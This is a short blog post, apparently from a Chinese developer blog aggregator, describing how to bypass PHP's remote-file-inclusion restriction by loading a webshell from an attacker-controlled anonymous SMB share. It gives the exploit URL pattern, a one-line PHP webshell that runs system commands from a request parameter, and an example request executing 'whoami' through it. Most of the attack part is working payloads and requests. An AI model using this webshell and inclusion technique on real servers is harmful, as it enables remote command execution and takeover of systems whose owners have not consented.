首页 > 编程语言 >PHP LFI/RFI Vulnerability attack bypassing remote URL inclusion restriction

PHP LFI/RFI Vulnerability attack bypassing remote URL inclusion restriction

时间:2024-01-17 22:56:05浏览次数:34  
标签:bypassing trojan php remote inclusion url allow PHP SMB

File Inclusion vulnerability

In the PHP Configuration,"allow_url_include" wrapper by-default set to "Off" which instruct PHP not ot load remote HTTP or FTP urls.Hence prevent Remote File Inclusion attack.But PHP does not block SMB URL loading even if even if "allow_url_include" and "allow_url_fopen" both are set to "Off".These behavior of PHP can be abused to load remotely hosted PHP webshell from SMB share.

Attack scenario outline

When vulnerable PHP application code try to load PHP webshell from attacker controlled SMB share which should allow access to the file.Attacker need to configure SMB server with anonymous browsing access enable on it. So, once vulnerable application try to access PHP web shell from  SMB share, SMB server will not ask for any credential and PHP code of web shell will be included by the vulnerable application. 

Verification environment

allow_url_fopen = OFF

allow_url_include=off

PHP version=5.5.11

Running the Smbserver with anonymous

Exploiting

http://vulnerability_machine_ip/page.php?lang=\\exploit_ip\xxx\xx.php

We can add some php script(trojan.php) of system function (one sentence trojan) like 

<?php system($_REQUEST[cmd])?>

If we want to utiliz the trojan we can send the package as below:

http://http://vulnerability_machine_ip/page.php?lang=\\exploit_ip\trojan.php&cmd=whoami

The machine will execute the command

标签:bypassing,trojan,php,remote,inclusion,url,allow,PHP,SMB
From: https://www.cnblogs.com/lisenMiller/p/17971392

相关文章

  • Road Extraction from Remote Sensing Images Using the Inner Convolution Integrate
    landbench里面,李老师提到的encode-decode。remotesensing,大类是2区,小类是2到3区。分类的题目:“利用内部卷积集成编码器-解码器网络和定向条件随机场从遥感图像中提取道路”(pdf)“RoadExtractionfromRemoteSensingImagesUsingtheInnerConvolutio......
  • `git push` 报错:error: remote unpack failed: unable to create temporary object di
    祸首:wsl:检测到localhost代理配置,但未镜像到WSL。NAT模式下的WSL不支持localhost代理;修改:NAT改镜像问题1:在自己的服务器上新建git仓库时,推送就一直报错;最开始一直推送失败,怀疑是WSL的网关由NAT改为镜像了......
  • 1.9 Rotated Multi-Scale Interaction Network for Referring Remote Sensing Image S
    RotatedMulti-ScaleInteractionNetworkforReferringRemoteSensingImageSegmentation参考遥感图像分割的旋转多尺度交互网络参考遥感图像分割(RRSIS)是一个新的挑战,它结合了计算机视觉和自然语言处理,通过文本查询描述了航空图像中的特定区域。传统的参考图像分割(RIS)......
  • A Deformable Attention Network for High-Resolution Remote Sensing Images Semanti
    ADeformableAttentionNetworkforHigh-ResolutionRemoteSensingImagesSemanticSegmentation*Authors:[[RenxiangZuo]],[[GuangyunZhang]],[[RongtingZhang]],[[XiupingJia]]DOI:10.1109/TGRS.2021.3119537初读印象comment::(MDANet)提出了可变形注意力,结......
  • 关于DVWA靶场File Inclusion中出现The PHP function allow_url_include is not enable
    做实验时发现fileinclusion报错:ThePHPfunctionallow_url_includeisnotenabled,翻译一下是PHP函数allow_url_include还未启用,这时我想到之前好像配置DVWA靶场环境时也用到了这个第一反应我跑去查看PHP配置文件php.ini纳尼?!allow_url_include=on啊,明明已经开了啊剑锋一转难不成......
  • Remote Dictionary Server
    Redis7.0源码环境搭建与阅读技巧 天下武功,无坚不摧,唯快不破!我的名字叫Redis,全称是RemoteDictionaryServer。有人说,组CP,除了要了解她外,还要给机会让她了解你。那么,作为开发工程师的你,是否愿意认真阅读此心法抓住机会来了解我,运用到你的系统中提升性能。我遵守BSD......
  • Object detection in optical remote sensing images: A survey and a new benchmark
    Objectdetectioninopticalremotesensingimages:Asurveyandanewbenchmark光学遥感图像中的目标检测:调查和新基准最近人们投入了大量的精力来提出光学遥感图像中物体检测的各种方法。然而,目前对光学遥感图像中目标检测的数据集和基于深度学习的方法的调查还不够。此外......
  • google chrome remote debbuging vulnerability
    FormofexpressionThefirstislinpeas.shintheprocessofdetectionfoundthatthereisaremotedebuggingofgooglechrome.thephenotypeandanalysisareasfollows:let'sscrutinize./bin/bash/usr/bin/google-chrome--allow-pre-commit-input-......
  • clion nginx remote debug 简单说明
    社区有人共享了一个基于clion通过gdbserver进行nginx调整远程调试的实践,很不错值得学习下具体参考https://www.jianshu.com/p/3c2fdb06de9e 但是实际上我们可以直接自己配置基于clion启动remotenginx调整如下(核心是自己添加了一个debug的配置)构建makefile配置这部分,添加......
  • inclusion_tag的使用
    #可以生成一片模板中的代码块#使用:5步 -第一步:在settings中的INSTALLED_APPS配置当前app,不然django无法找到自定义的simple_tag-第二步:在app中创建templatetags包(包名只能是templatetags,不能改)-第三步:在包内,新建py文件(如:my_tags.py)-第四步:写代码(inclusion_tag) #......